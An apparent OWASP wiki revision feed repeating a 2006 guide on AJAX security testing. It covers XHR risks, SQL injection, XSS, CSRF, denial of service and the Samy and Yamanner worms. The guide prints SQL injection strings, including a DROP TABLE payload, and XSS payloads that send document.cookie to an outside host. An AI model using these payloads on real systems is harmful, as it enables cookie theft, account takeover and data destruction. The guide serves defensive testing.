* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12224</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12224"/>
				<updated>2006-11-10T10:46:09Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12223</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12223"/>
				<updated>2006-11-10T10:39:59Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
